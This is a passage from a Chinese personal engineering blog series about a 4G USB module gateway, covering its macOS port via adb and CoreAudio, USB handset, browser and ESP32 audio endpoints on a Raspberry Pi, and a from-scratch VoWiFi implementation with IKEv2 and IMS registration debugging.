留空,需要手动重新扫描 | | 设备占用检测 | 返回"未知",走保守分支 | 还有一件事是移植前没想到的:**设备发现方式也得换。** Linux 靠读 `/sys/bus/usb/devices` 和找 `ttyUSB*`,这两样在 macOS 上都不存在,结果就是后台的设备列表永远是空的。 解决办法是加一种"adb 传输":系统路径不存在时,用 `adb devices -l` 来发现设备;端口名以 `adb:` 开头时,AT 管理器就打开一个由 adb 支撑的虚拟串口。上层——eSIM、短信、设备管理——完全不用改。 验证下来:能识别 IMEI,能看到 LTE 注册和 −65 dBm 的信号,eSIM 接口返回卡信息和已启用的配置文件。 ### 几个 macOS 特有的坑 **压缩过的二进制启动不了。** UPX 压缩过的 Mach-O 过不了代码签名检查,系统直接拒绝运行。macOS 版本不做压缩。 **双击启动找不到配置文件:** ```text 初始化配置管理器失败: open config/config.yaml: no such file or directory ``` 从 Finder 启动或者用绝对路径启动时,工作目录是主目录或者根目录,不是程序所在的目录。现在找不到配置时会改用二进制所在目录。 ### adb 传输的三个细节 **不能用序列号选设备。** 第一篇说过,序列号是 256 个 `0xAA`,`adb -s` 用不了。只能用 transport id,但它每次重新枚举都会变(拔插、切换联网模式之后都会变)。所以持久身份用 USB 路径,每次使用时再解析出当前的 transport id。不这么做的话,一切换模式就满屏的"没有这个 transport id 的设备"。 **读和写必须分开。** 一个长期运行的读进程负责收,写用一次性调用。不能用交互式 shell——它会分配伪终端并改写字节。也不能开第二个读进程——两个读者会把回复各分走一半,看起来就像命令没有回应。 **探测超时要放宽。** 调用方原本给了约 1.2 秒,这是按串口速度估的。但 adb 每写一次都是一次进程启动,读进程附着也要时间。超时的后果是连锁的:探测超时 → IMEI 视为未验证 → 设备被丢弃 → 后台什么都没有。现在 adb 端口的超时下限是 6 秒。 (这里有个测试拦住了一个偷懒的修法——"超时就沿用发现阶段拿到的 IMEI"。拦得对:只有经过验证的 AT 口给出的 IMEI 才可信。) ### 每次重启服务,模组里就多一个幽灵 **现象**:服务重启几次之后,设备发现失败,报告"没有匹配的硬件",怎么都起不来。 **原因**:杀掉本地的 adb 客户端,**不会**杀掉模组里那个读进程。adbd 会把那个 shell 保留下来。于是下一个读者只能拿到一半的回复,看起来就像模组不响应了。 **解决**:打开端口时先清理残留的读者。这里有两个反直觉的细节: 清理脚本的命令行里包含了它要查找的路径,所以它会匹配到自己——必须靠一个自己的标记跳过自己,否则第一件事就是把正在执行清理的那个 shell 杀掉。 更重要的是,**只在本进程第一次打开这个节点时清理**。一开始写成了每次打开都清理,结果重新扫描设备时的探测过程,会杀掉**健康模组的**读者——正是这个修复本来要防止的那种故障,被这个修复亲手制造了出来。 ### 网页通话在 Mac 上失败 报错是"蜂窝音频设备不可用"。原因是蜂窝语音会话有两处写死了 Linux:在 `/proc/asound` 里找 USB 声卡,用 ALSA 的命令行工具搬运数据。 现在平台相关的部分分成了不同文件,macOS 这边去找模组的两个 CoreAudio 设备,用 sox 转成 8 kHz 单声道。 还有一个顺序问题:**模组的 USB 音频功能在语音路由建好之前根本不存在。** 所以主机侧的音频设备必须在路由起来之后再去解析,否则模组重启后的第一通电话必然失败。 ## C. 原生 App 不需要网关,App 直接通过 ADB 驱动模组:打电话、发短信、切换联网模式、多模组、选耳机、静音。 ```sh cd mac/VoHiveMac xcodegen generate xcodebuild -scheme VoHiveMac -allowProvisioningUpdates build ``` 语音驱动放在应用支持目录下,App 每次通话前自动搭路由。 AT 层有两个设计决定: **读必须是连续的。** 来电和新短信的通知是不请自来的,靠轮询会错过来电。一个长期的读进程喂给解析器,写用单独的短调用。 **同一时刻只允许一条命令在途。** AT 协议没有请求 ID,回复和请求靠顺序对应。用一个 actor 来保证这一点。那些夹在别的命令回复中间的主动通知,交给通话状态逻辑处理。 短信用文本模式,超出 GSM 字符集的内容(所有中文)切到 UCS2 编码。**解码这里有个坑**:手机号本身也是合法的十六进制字符串。所以 UCS2 的检测条件必须是"长度是 4 的倍数**并且**含有字母",否则 `13800138000` 会被显示成一串汉字。这条有测试。 ### 连上了,却看不到运营商、号码和信号 **原因**:超时逻辑写反了一个对象。它失败掉的是**当前在途**的那个请求,而不是给它起定时器的那个请求。 具体是这样:第一个状态查询早就成功返回了,但它的 5 秒定时器之后才触发,杀掉了当时正在进行的另一个请求;那个请求的定时器又杀掉了下一个……六个快速查询,只有第一个活了下来。 **解决**:每个请求带上自己的身份,定时器只能失败自己。回归测试精确重放了这个序列。 ### 接通了,但完全没有声音 **证据**:模组那一侧全对——声卡已加载、音频使能、两个内部通道都在运行。但 USB 方向的两个流是这样的: ```text pcm5p PREPARED 上行,没人喂数据 pcm6c PREPARED 下行,没人读数据 ``` "已准备好"但没有数据流动。问题在主机侧。 **原因**:macOS 上一个 `AVAudioEngine` 的输入和输出**必须是同一个设备**。而这里给每个引擎配了两个不同的设备(Mac 麦克风进、模组出;模组进、Mac 扬声器出)。它不报错,只是静默地不工作。 **解决**:每个方向创建一个私有的**聚合设备**(Aggregate Device),把需要的输入和输出配成一对,引擎跑在聚合设备上。私有的意思是它不出现在系统声音设置里,随进程消亡。 另一个静默失败:设置当前设备的那个属性,输入输出都是全局作用域的元素 0。对输入写元素 1 不会报错,只是悄悄地留在默认设备上。 ### 对方听不到我,而且没有任何报错 **原因**:没有麦克风权限时,采集照常运行,只是输出全是静音。表现是单通,而不是一个权限错误。 系统的隐私日志说明了一切——App 的标识是"无效代码的标识"。因为 App 没有签名,就没有稳定的身份,麦克风授权既无法有意义地申请,也无法保存。 **解决**:用开发者团队签名(**不要用关闭代码签名的方式构建**);启动时就申请权限,而不是等到通话接通;在设置页和通话页显示权限状态。开发签名大约一周过期,过期后重新构建即可。 ### 用过 App 之后,Mac 自己的扬声器坏了 这是整篇里最离谱的一个。 **现象**:其他 App 的声音开始卡顿、失真,一直持续到重启电脑。 **证据**:系统音频服务记录了 671 条 IO 错误,点名是这个 App,带着"安全违规"和"过载"标记,设备是内置扬声器,而且同时存在 48000 Hz 和 8000 Hz 两种采样率的客户端。 **原因**:上行的聚合设备把模组的 8 kHz 输出设成了主设备,也就是**时钟源**,又把 Mac 的麦克风加了进来。而 Mac 的扬声器、麦克风、编解码器同属**一个时钟域、一个硬件引擎**。于是整台机器的内置音频引擎,被拉到了一颗外部的 8 kHz 晶振上。 而且 App 退出时没有销毁聚合设备,这个状态就一直保持着。 **解决**:两个聚合设备都用 **Mac 自己的设备做时钟源**,其余子设备开启漂移补偿——这才是调和两颗不同晶振的正确方式。退出时同步销毁聚合设备,启动时清扫崩溃遗留下来的。 **已经中招的话**,不用重启: ```sh sudo killall coreaudiod ``` 查证据用 `log show --start <时间> --predicate 'process == "coreaudiod"'`。 ### 调试器停止 App 之后,下一次运行看不到通话 **原因**:读进程是 App 的子进程,而 macOS 上子进程会比父进程活得久。调试器的"停止"是强制终止,清理代码没有机会运行,那个读进程被系统收养,继续读着。 下一次运行又开一个读者,两个读者瓜分回复:查询通话状态的回复落到了上一次运行留下的管道里,于是通话永远到不了"已接通",音频桥也就永远不启动。 曾经找到过一个凌晨 4 点 24 分启动、5 点 46 分还在读的进程。 **解决**:在 actor 之外记录每个读者的进程号(终止回调里不能等待异步操作),退出时杀掉,启动时清扫。 **同理,App 连着模组的时候,永远不要在终端里再跑一个 AT 脚本。** 两边都在读同一个设备,会互相偷字节。 ### 静音不能停流 静音时上行引擎要继续运行,只是喂静音数据。停掉引擎会让模组的上行流中断,而有些网络会把上行停滞当作掉话处理。 通话界面明确显示"已静音"也是必要的——**一个被忘掉的静音,看起来和刚修好的单通 bug 一模一样。** ### 其他 - **多模组**:每只模组有独立的 AT 口、独立的语音路由(驱动加载在各自模组里)、独立的短信历史。任何一只来电都会接管窗口。模组按 USB 路径记住名字,只要插在同一个口。 - **耳机选择**:按 UID 记忆,因为 CoreAudio 的设备 ID 每次开机或拔插都会变。模组自己的两个音频接口不出现在列表里——选中它们会把通话路由回通话本身。 - **双向电平表**:只有下行电平表时,"麦克风没进通话"和"模组没把声音传出去"看起来完全一样。多一个表,少一半猜测。 ### 一个附带的实验:电话机器人 App 里还有一个实验性的页面:拨号,然后听、想、答。语音识别用 SenseVoice,合成用 Kokoro,大模型是局域网里 Ollama 上跑的 qwen3:30b-a3b(首个 token 0.2 到 0.4 秒)。通话内容不离开局域网。 有个意外的好处:因为模组把远端和本端分成了两个独立设备,机器人听到的声音里天然没有自己的声音。打断(说话时让它闭嘴)只是一个能量门限,完全不涉及回声消除。 这部分自己的坑够单独写一篇——音频引擎在 8 kHz 设备上的各种静默失败、语音活动检测吃掉第一个字、逐块重采样引入的不连续。这里不展开。 ## 平台差异一览 | Linux 上有的 | Mac 上的替代 | |---|---| | 串口 | adb 进模组,走内部设备节点 | | sysfs / udev | `adb devices -l` 加 USB 路径 | | ALSA | CoreAudio 聚合设备 | | Wi-Fi 通话数据面 | 没有,留在树莓派上 | | 不需要签名 | 必须签名,否则拿不到麦克风 | 下一篇回到树莓派网关,给它做一个 iPhone 客户端——让网关上插着的每一张 SIM 卡,都变成手机上的一条线路。 ## 全系列 1. [它到底是什么](/archives/4002) 2. [树莓派上的短信与 eSIM 网关](/archives/4003) 3. [从零实现 VoWiFi](/archives/4004) 4. [USB 话机、浏览器通话与 ESP32](/archives/4005) 5. [插在 Mac 上](/archives/4006) 6. [iPhone 客户端](/archives/4007) 7. [安卓平板直接驱动](/archives/4008) --- *这个系列是个人学习和技术研究记录。模组的语音驱动是 GPL 衍生物,不随项目分发,需要自行准备。* --- ## 声音从哪来,到哪去:USB 话机、浏览器通话和一块 ESP32(四) Date: 2026-09-02 URL: https://blog.wo.ai/archives/4005 Categories: Technology > 上一篇:[从零实现 VoWiFi](/archives/4004) | 下一篇:[插在 Mac 上](/archives/4006) 上一篇把 Wi-Fi 通话的信令和语音流跑通了。但"跑通"的意思只是:树莓派内存里有一串 8 kHz 的采样数据在流动。人还是听不到。 这一篇解决的全是"声音到底走哪条线"的问题: 1. 模组自己打的蜂窝电话,怎么才能有声音; 2. 一只真正的 USB 电话机,怎么接进来——能摘机、能按键拨号、能振铃; 3. 浏览器怎么直接当电话用; 4. 通话录音; 5. 一块内存小得可怜的 ESP32 开发板,怎么当一部 Wi-Fi 分机。 ## 一个音频总线,一种格式 系统里所有音频只有一种格式:**8 kHz、单声道、16 位、每 20 毫秒一帧,正好 320 字节**。 这不是随便挑的。它正好是模组那块 USB 声卡的原生格式,也正好是 G.711 电话编码的采样率。所有东西都统一到这个格式之后,任何端点接进来都不需要编解码器、不需要重采样、不需要协商——把字节搬过去就行。 ``` Wi-Fi 通话的语音 ─┐ ┌─ USB 电话机 模组的蜂窝通话 ───┼──> 音频总线 <───┼─ 浏览器 │ 8k/单声道/16位 ├─ 手机 App │ ├─ ESP32 分机 └───────────────────└─ 录音 ``` 还有一条贯穿全局的规则:**AT 命令口只允许一个协程持有**,所有功能排队使用。这样"两个地方同时发 AT 命令导致回复错位"这种问题,在结构上就不可能发生。第一篇讲过这类错位有多难查,干脆从设计上堵死。 ## 让模组自己的电话有声音 第一篇说过,`ATD` 只管信令。要有声音,得在模组内部搭一条路由出来: | 步骤 | 做什么 | |---|---| | 1 | 打开模组的 ADB 和音频功能(某些版本出厂就是开的) | | 2 | 把语音驱动推进模组并加载。内核 3.18.44 | | 3 | **跑一遍音频校准** | | 4 | 启动桥接程序,把 DSP 里的音频接到 USB 声卡上 | | 5 | 主机侧读写这块声卡 | | 6 | **确认通话真的接通之后**再开始搬音频 | 第 3 步最容易漏,而漏掉的表现就是纯粹的静音——所有东西看起来都正常,就是没声音。校准程序要以守护进程的方式跑着,发一条设置命令,然后等日志里出现校准完成的标志。 第 6 步的坑是:这个固件通常不发那条通用的"已接通"通知,得靠轮询 `AT+CLCC` 判断。 整个流程被写成了一个脚本,VoHive 在**每一次**拨出和接听之前都运行它: ```sh sudo /opt/vohive-call/qdc507-route status ``` 正常状态要同时看到三样东西:模组内部的声卡存在、路由会话是活的、两个数据通道都处于运行状态。 驱动本身是 GPL 衍生物,再分发有提供源码的义务,所以项目不打包它,只从指定目录加载。 ### 第一通电话有声音,之后全是静音 **数据**:第一通电话 7410 帧里有 7412 帧非静音(几乎全程有声音),之后每一通只有 0 到 2 帧,大约 20 秒后被网络挂断。 **原因**:桥接程序搭的路由是**单次通话的状态**,通话一结束就失效了。 **解决**:每次通话前重启桥接程序。脚本做成自愈式的——模组重启过(内存盘被清空、声卡消失)就重新加载驱动,校准标记不在就重新校准,然后无论如何都重启一遍桥接程序。完整恢复大约 13 秒,正常路径 1.4 秒。模组重启后实测 1000 帧里有 997 帧非静音。 ### 两个 adb 陷阱,各花了几个小时 **`adb shell` 不传递远端的退出码。** `adb shell test -f xxx` 对一个不存在的文件也会"成功"返回。于是"检查驱动在不在,不在就推送"这个步骤,被静默跳过了。 绕过办法是在远端 `echo` 一个标记,然后检查输出里有没有它——不要相信退出码。 **一次性 `adb shell` 里放到后台的进程,会在 shell 退出时被回收。** 校准守护进程和桥接程序都被杀掉了,而杀掉之后,之后每次往校准管道里写数据都会**永久阻塞**。表现是整个流程卡死,没有任何错误。 解决办法是它们必须运行在一个从主机侧一直保持打开的 adb 连接下面。 ### 有声卡不等于有声音 模组重启会清掉内核模块,但树莓派上可能还挂着之前枚举出来的那块声卡。设备节点在,`ls` 看得见,读出来全是零。 这正是每次通话前都要跑一遍状态检查、按需重建的原因。**设备存在、进程在跑、状态是 true,这三件事都不能证明数据真的在流动。** ### 桥接建好了,但没有东西驱动它 音频桥被注册成了总线的一个端点,但没有任何东西去"泵"它,于是一帧都没流动过。 解决办法是让音频桥本身成为总线的帧泵,由采集流来打拍子。同时记录帧数和非静音帧数——**让"静音的路由"在日志里能被看见**,而不是等人去抱怨听不见。 ## 接一只真正的电话机 用的是一只带拨号键盘和叉簧的 USB 电话机(Koncept KU1110,也有 AICO TalkPro U-100、wizarDial WZU-02 这些牌子,同一个东西)。 它不是标准 USB 音频设备。按键、叉簧、音频全是私有协议,只能用 libusb 抓包逆向一遍。 现在两个方向都在真机上验证过了:来电时它会响,摘机就能通话;摘机能听到拨号音,按键有按键音,号码能拨出去。还支持速拨——配置一到六位的短码,话机和网页拨号盘都会先展开再拨。(`#` 不能用作速拨码,因为它在话机上是"拨号结束"键。) 因为要用 libusb,这部分需要在树莓派上本机编译,不能交叉编译: ```sh sudo apt install libusb-1.0-0-dev CGO_ENABLED=1 go build -tags handset ... ``` ### 音频断断续续,还录到了全零的采样 **原因**:传输层用了一把普通互斥锁,而状态轮询每 200 毫秒就要抢一次。播放和采集被活活饿死。 **解决**:所有操作共享一把读写锁。一个改动同时修好了断续和零采样两个症状——它们本来就是一个病。 ### 播放延迟越来越大 **原因**:按定时器打拍子,每次调用还预填充一点,积压越滚越多。打一通长电话,到后面对方的声音会延迟好几秒。 **解决**:改成按队列深度打拍子——队列里的数据少了才补,多了就等。切换声音(比如从拨号音切到通话)时清空队列。 ### 通话中莫名其妙挂断 **原因**:叉簧(听筒压着的那个开关)是机械的,会抖动。一次"挂机"读数不代表真的挂机了。 **解决**:去抖,连续多次读到同一个状态才算数。 ### 初始化失败时,先怀疑话机自己 有两条顺序规则很关键:某条初始化命令每个通道只能发一次,而且两次之间必须先提交一次播放;状态轮询不能和初始化重叠,否则启动命令会超时。 但更值得说的是:**这只话机的固件很容易卡死,卡死之后不管用什么驱动都以完全相同的方式失败。** 有好几轮排查是在完全正确的代码里找一个想象中的 bug。 现在的做法是:初始化失败时,先跑一个最小的参考程序验证硬件本身。恢复用切换 USB 授权状态的办法,不需要拔插。 **不要用 `usbreset`,也不要给树莓派 4 的 USB 口断电**——上一篇说过,它的 USB 口是联动的,断一个等于断全部,会把模组一起带走。 ### 来电转到话机,摘机后没有声音 **数据**:蜂窝那一侧总线收到了 750 帧里 699 帧非静音,话机听筒里一片寂静。 **原因**:这是两个总线桥接的转接场景。话机被注册成了总线的一个端点,但**没有任何东西泵这个总线**——和前面音频桥那个坑一模一样的形状。 **解决**:话机这条线路用自己的 20 毫秒节拍直接驱动。另外,话机故意不作为总线成员,否则它的麦克风会混进自己的听筒里,说话时自己听到自己。 ### 正在振铃的电话被当成"忙"挂掉了 **原因**:来电号码通知会重复上报振铃状态,第二次被当成了一通新来电,会话层回了个"忙",顺手把真正在响的那一通挂了。 **解决**:忽略振铃状态的重复上报。 ## 浏览器直接打电话 后台的通话页面可以直接拨号、接听,浏览器通过 WebSocket 和音频总线交换原始 PCM: ```text /api/devices/{id}/call/voice/{session}/ws 二进制帧,8 kHz 单声道 16 位 ``` **浏览器没声音**的两个原因,都和权限有关:浏览器录音要求**安全上下文**,WebSocket 被证书问题拒绝就没有语音——所以必须把自签证书加进系统信任,而不是在警告页点"继续访问"(第二篇讲过)。麦克风权限被拒绝时同样是静默失败。 **网页拨出的电话只有信令没有声音**:拨号的处理函数用了一个空总线,只建立了信令会话。解决是拨号时把本地音频设备挂到这通电话的总线上,直到通话结束。 **蜂窝来电在网页上接听后没声音**:媒体在通话真正接通之前就开始搭建了。顺序改成先接听,再建立媒体。 这三个坑放在一起看很有意思:它们都是"信令成功了,所以以为整件事成功了"。信令和媒体是两条独立的路,这是第一篇就说过的事,但它会以各种新形式反复出现。 ## 录音 录音是接在音频总线上的一个旁路,而不是从 WebSocket 里录。这个设计决定带来一个好处:用 USB 话机接的电话——此时没有任何客户端在串流——照样能录下来。 几个细节: - **录成立体声**:远端在左声道,近端在右声道。单声道混音之后事后无法分离,而录音的意义通常恰恰是分清谁说了什么。 - **对齐**:两个方向由不同的调用送来,正常情况下每 20 毫秒各一帧交替。某一侧停了超过 1 秒,就用静音补齐另一侧,而不是干等着,然后爆发式地写进来一堆对不齐的帧。 - 写盘放在独立协程上,慢速存储不会拖慢音频时钟。 - **默认关闭**。录音涉及通话双方,不同地区的法规不一样。保留策略按天数和总大小两个维度,都设为 0 表示不限制。 - 没有音频的通话不留记录。下载支持断点续传,可以直接拖进度条而不用下载整个文件。 验证的方式:一通 42.34 秒的电话,左声道远端音量 0.142,右声道静音——因为这一侧当时没接任何设备。数字对得上,说明声道没有搞反。 ## 一块 ESP32 当分机 这是一块叫 FoloToy AI Passport 的小板子:ESP32-C3,8 MB 存储,**没有 PSRAM**,带一块 240×320 的屏和三个按键。它没有任何蜂窝功能,目标是让它借用网关的线路,当一部 Wi-Fi 话机。 ### TLS 放不下 握手期间 mbedTLS 峰值需要 35 到 45 KB 的内部内存,而这块板子实测最大连续空闲块只有约 13 KB。加密握手和一通进行中的电话,挤不进同一颗芯片。 试过调小 TLS 的缓冲区参数,没用——服务端是 Go,而 Go 的 TLS 服务端不协商那个能减小分片的扩展。 **解决**:网关开两扇"便宜的门",默认都关着: ```yaml server: lan_plain_http: true # 只对本机和私有网段放行明文 plain_http_cidrs: [] # 额外放行的网段,每条非私网地址启动时都会告警 voice_udp_port: 7576 # 语音 UDP 共享端口 voice_udp_public_port: 0 # 经过端口映射且对外端口不同时填 ``` ### 每个会话一个临时端口,没法做端口映射 设备在另一个网络里够不着网关,只能靠端口映射。但**没有人能映射一个服务端在通话开始后才随机选出来的端口**。 解决办法是所有会话共用一个固定端口,靠接入密钥区分:设备先把密钥发到这个端口,服务端记住它的地址并回一个确认。不在已知地址列表里的音频直接丢弃,密钥不认识就干脆不回复——对扫描器保持沉默,对真实客户端最多多一次重试。 用 UDP 而不是 TCP 是有意的:迟到的语音帧没有重传的价值,而重传一帧会拖慢它后面的所有帧。 ### 管理员令牌不该出现在一块开发板里 走明文链路时,谁抓到一个会话令牌,就等于拿到了整个 API 三十天的权限,包括切换 eSIM 和设备管理。 **解决**:增加一个签发**受限令牌**的接口——只能通话、收发短信、订阅事件,不能再签发新令牌。 需要说清楚的是:这只是**缩小权限范围,并不提供保密性**。明文就是明文。真正的解决是让设备加入 VPN,比如在 ESP32 上跑 WireGuard——它用的 ChaCha20 比 TLS 握手便宜得多,内存够用。 ### 没有回声消除 这块芯片做不了回声消除(相关的方案基本都要求更强的型号加 PSRAM),板子也没有耳机口,只能外放。 固件的做法是:远端说话时关掉麦克风(声控切换,300 毫秒保持),再加一个按住说话的按键作为确定性的后备。这能减轻回声,但消除不了。有些限制就是硬件的限制,承认它比假装解决了要好。 ## 现在这台树莓派能干什么 | 端点 | 接入方式 | 最大的坑 | |---|---|---| | 模组蜂窝通话 | USB 声卡 | 校准、每通电话重建路由、adb 的两个陷阱 | | USB 电话机 | libusb 私有协议 | 锁饥饿、队列积压、叉簧抖动、固件卡死 | | 浏览器 | WebSocket PCM | 证书信任、空总线 | | 录音 | 总线旁路 | 双声道对齐 | | ESP32 | 明文 HTTP + UDP | 内存、端口映射、令牌权限 | 树莓派这一侧到此就完整了。下一篇换个平台:同一只 dongle 插在 Mac 上,没有串口、没有 ALSA,从头再来一遍。 ## 全系列 1. [它到底是什么](/archives/4002) 2. [树莓派上的短信与 eSIM 网关](/archives/4003) 3. [从零实现 VoWiFi](/archives/4004) 4. [USB 话机、浏览器通话与 ESP32](/archives/4005) 5. [插在 Mac 上](/archives/4006) 6. [iPhone 客户端](/archives/4007) 7. [安卓平板直接驱动](/archives/4008) --- *这个系列是个人学习和技术研究记录。模组的语音驱动是 GPL 衍生物,不随项目分发,需要自行准备。录音功能请遵守所在地关于通话录音的法律规定。* --- ## 没有信号也能打电话:在树莓派上从零实现 VoWiFi(三) Date: 2026-08-26 URL: https://blog.wo.ai/archives/4004 Categories: Technology > 上一篇:[树莓派上的短信与 eSIM 网关](/archives/4003) | 下一篇:[USB 话机、浏览器通话与 ESP32](/archives/4005) 手机设置里有个开关叫"Wi-Fi 通话",打开之后,在地下室、电梯、信号盲区,只要有 Wi-Fi 就照样能打电话收短信。这个功能的正式名字是 VoWiFi。 它的原理不是把电话转成微信语音。手机做的事情是:通过任意一条宽带网络,加密连回运营商的核心网,然后用 SIM 卡证明"我是这个号码",之后所有通话和短信都和走蜂窝时一模一样——对方看到的还是你的手机号,来电还是打到你的号码上。 这一篇要在树莓派上把这套东西实现出来。SIM 卡插在 4G 模组里,但**只用它做身份认证**,数据全部走树莓派的有线网。蜂窝射频可以一直停在飞行模式。 对一张常年漫游的卡来说,这意味着:不产生任何漫游费,在家里稳定收短信、打电话、接电话。 这是整个系列里坑最多的一篇。一路踩下来的十几个坑,几乎每一个都对应着一份规范里的一句话。 ## 它是怎么运作的 整件事分三层,从下往上: ``` ┌───────────────────────── 第三层:业务(SIP)─────────────────────────┐ │ REGISTER 注册 → 401 挑战 → 200 成功 MESSAGE 短信 INVITE 通话 │ └────────────────────────── 受保护通道 ───────────────────────────────┘ 第二层:IPsec 加密 + 用户态网络协议栈 ┌────────────────────────── 第一层:SWu 隧道 ──────────────────────────┐ │ IKEv2 握手 + 用 SIM 卡做 EAP-AKA 认证 → 加密隧道 → 拿到一个内层地址 │ └──────────── 公网 UDP 500/4500 连到运营商的 ePDG 网关 ─────────────────┘ ``` **第一层,建隧道。** 运营商在公网上开着一台叫 ePDG 的网关,专门接收从任意网络过来的手机。和它建立一条 IPsec 加密隧道,用的是 IKEv2 协议,而身份认证不用密码,用 SIM 卡——这套叫 EAP-AKA。SIM 卡里有一个运营商也知道的密钥,双方各自算一遍,对上了就认证通过。隧道建好后,会拿到一个内层地址,从运营商的角度看,这台设备就"在它的网络里"了。 **第二层,加密。** 隧道内部再套一层 IPsec 保护,专门保护上面的信令。 **第三层,业务。** 在受保护的通道里跑 SIP 协议。SIP 是互联网电话的通用信令协议,注册用 `REGISTER`,短信用 `MESSAGE`(里面装的是 3GPP 的短信数据),通话用 `INVITE`,语音流用 RTP。 运营商这一整套核心网叫 IMS。手机日常打电话(VoLTE)走的也是它,只不过接入方式是蜂窝而不是 Wi-Fi。 ## 选库:顺带上了一堂许可证课 自己从零写 IKEv2 不现实,先找现成的库: | 库 | 结果 | |---|---| | 一个公开的 VoWiFi 库 | 握手第一步的密钥交换算法写死成 X25519,而运营商的网关要的是传统的 MODP。对面直接回"没有可接受的提议"。而且它是 AGPL-3.0 | | 一个公开的 SWu 隧道库 | 打三个补丁之后能建起真隧道,但它上面那层走不通 | | 一个完整的 UE 侧实现 | 隧道和 IMS 都能跑通真实运营商,许可证是 PolyForm Noncommercial | 最后用了第三个,项目许可证也跟着改成 PolyForm Noncommercial,同时**主动把那个 AGPL 的库移除了**——AGPL 第 7 条不允许在分发时附加"仅限非商业使用"这种限制,两者不能合在同一个分发作品里。这一点做开源集成的时候值得留心:许可证不是装饰,它会决定你能不能把两个库放进同一个仓库。 ### 一类很隐蔽的 bug:库提供了自己用不了的算法 那个 SWu 库建隧道失败的三个原因,本质上是同一个问题:**协商时报了自己实现不了的算法,对面一选中就死。** 协议握手通常是"我支持 A、B、C,你挑一个"。如果 A 只是列在清单上但代码里没实现,而对面偏偏挑了 A,后面每一步都会以看起来毫不相干的方式失败。 | 位置 | 现象 | 修法 | |---|---|---| | 握手的密钥交换组 | 清单里有 MODP-3072 和 1024,实现只有 group 14。对面选了 3072,回了"密钥载荷无效",而库不处理这个重试,报的错是"响应中缺少强制性载荷" | 只提议 group 14 | | 握手的加密算法 | 提议了 AES-GCM,但密钥派生有误,解密时报 `cipher: message authentication failed` | 只提议 AES-CBC | | 数据隧道的加密 | 首选 AES-GCM,结果发出去正常,收进来的每个包认证都失败 | 只提议 AES-CBC | 最终协商出来的组合是 AES-CBC-256 加 SHA2-256 加 MODP-2048,握手耗时 1.5 到 1.9 秒。 排查这类问题有个通用办法:**先把提议清单砍到只剩一个你确信实现正确的算法**,能通就说明问题在协商,不通再往别处找。 ## "就绪"这个词要小心 后台里有四个状态: ```text vowifi_enabled = true # 只表示配置里开了这个功能 tunnel_ready = true # 隧道建好了 ims_ready = true # 注册成功了 sms_ready = true ``` **只有后三个同时为 true,才真的能收短信、接电话。** 服务重启之后,隧道要 10 到 130 秒才能走到这一步。在这之前测试失败,什么都说明不了——这一点浪费过不少时间,因为人总是重启完就立刻去试。 ### 坑:`Start` 返回成功,其实什么都没做 **现象**:日志明明白白写着已就绪,但去看系统:没有隧道网卡,加密状态表是空的,连端口都没监听。 **原因**:库里有两行这样的代码——"没有传注册器,就当注册成功","短信状态直接写死为真"。这在逻辑上叫**空真**:条件为空所以判断通过。另外,数据面模式没配置的话,它会直接跳过建隧道这一步,然后返回成功。 **解决**:必须显式配置数据面模式并传入注册器;判断"已注册"必须同时看隧道和注册两个标志。更重要的一条是:**任何"已就绪"都要用带外的方式确认**——去看网卡在不在、加密状态表有没有条目、端口有没有监听。这条经验在后面几篇里会反复救命。 ### 坑:库自带的"自动恢复"会重启射频 **现象**:一个对着假接口跑的单元测试跑了 14 秒,命令日志里出现了四轮射频关闭再打开。 **原因**:库在读取 SIM 卡身份失败时,默认的恢复策略是给射频断电再上电。在真机上这会挂断正在进行的通话,让模组重新附着网络——对一张漫游卡来说,正是最该避免的动作。 **解决**:实现一个恢复钩子,直接返回错误,让库退回到从配置推导身份。 **顺带一提**:一个单元测试跑了 14 秒本身就是信号。测试通过不代表没问题,测试变慢往往意味着代码在偷偷做真实的、昂贵的事情。 ## 注册阶段的坑 注册就是向运营商说"我在这里,有电话请打到这个地址"。这一步不对,来电就永远不会来。 ### MNC 是两位还是三位 IMSI 是 SIM 卡的身份号码,前面几位是国家码和运营商码。运营商码在北美是三位,在很多其他地方是两位。库只要 IMSI 够长就按三位切,切错了身份就构造错了。解决办法是用 `AT+CRSM` 读卡里的一个文件,拿到真实位数,不要猜。 ### `400 Bad Request` 和 `421 Extension Required` 两条协议细节,各让人查了半天: - 第一次注册请求必须带一个**空的认证头**(里面写上身份,密码留空)。这是 RFC 3310 的要求,服务器靠它知道该发什么挑战。库只在收到挑战之后才填这个头,于是第一条请求就被拒了。 - 服务器回 `421` 并回显 `Require: sec-agree` 时,意思是"你还得跟代理也说一声"。因为对面是个代理服务器,除了 `Require` 还需要 `Proxy-Require`(RFC 3329)。 这类问题的共同点是:规范里写了,代码里没写,而错误码只告诉你"不行",不告诉你缺什么。 ### 内核加密是条死路 Linux 内核自己能做 IPsec,看起来正是现成的工具。实际上走不通:空加密算法被渲染成空密钥,内核直接拒绝;勉强装上之后,第二条注册请求石沉大海。 后来读那个能跑通的实现才明白,**真正对接得上运营商的做法根本不用内核**:IPsec 在用户态自己做,上面跑一个用户态的 TCP/IP 协议栈,再把它当成普通网络连接交给 SIP 库。 花在"为什么内核没转发第二条请求"上的时间,全部浪费在了错误的架构上。这种时候值得停下来问一句:**别人是怎么做的?** 而不是继续在自己选的路上加力。 ### 认证适配器的两个集成陷阱 - 运行时对**适配器类型本身**做接口断言,靠嵌入字段实现不算数,报的错是"配置要求 ISIM 但提供方不支持"。 - 认证要用卡里的 ISIM 应用,而不是默认的 USIM。这两个应用都在同一张卡里,选错了算出来的东西就是错的。 自己实现的这一侧:在逻辑通道上打开 ISIM,读出身份标识,跑认证命令,成功时卡会返回一个标签 `0xDB` 带着结果和密钥,同步失败时返回 `0xDC` 带着一个重同步参数。 ### 每次都停在同一个词上 **现象**: ```text IMS REGISTER failed: status=0 result=auth_phase_reached ``` **原因**:这是一条串起来的错误链,很典型。 卡返回了 `0xDC`,要求序列号重新同步。这在协议里是完全正常的一步——卡和网络对不上账,重来一次就好。但代码把它当成"正常事件"返回了 **nil 错误**。而上层判断"是否需要重同步"的方式是检查错误类型,nil 当然匹配不上,于是被当成"认证成功但没拿到密钥",接着用空结果去算摘要,最后死在密钥检查上。 更糟的是两件事:这条错误恰好匹配了库里"脱敏错误信息"的规则,真实原因被改写成了一个毫无意义的词;而且**有一个单元测试锁死了这个 bug**,它断言这里应该返回 nil。测试不是真理,它只是把某一时刻的理解固定下来了。 **解决**:同步失败时返回专门的错误类型和参数。之后流程就顺了:请求重同步 → 发送 → 第二轮挑战 → 认证完成 → 装载加密 → 200 成功。 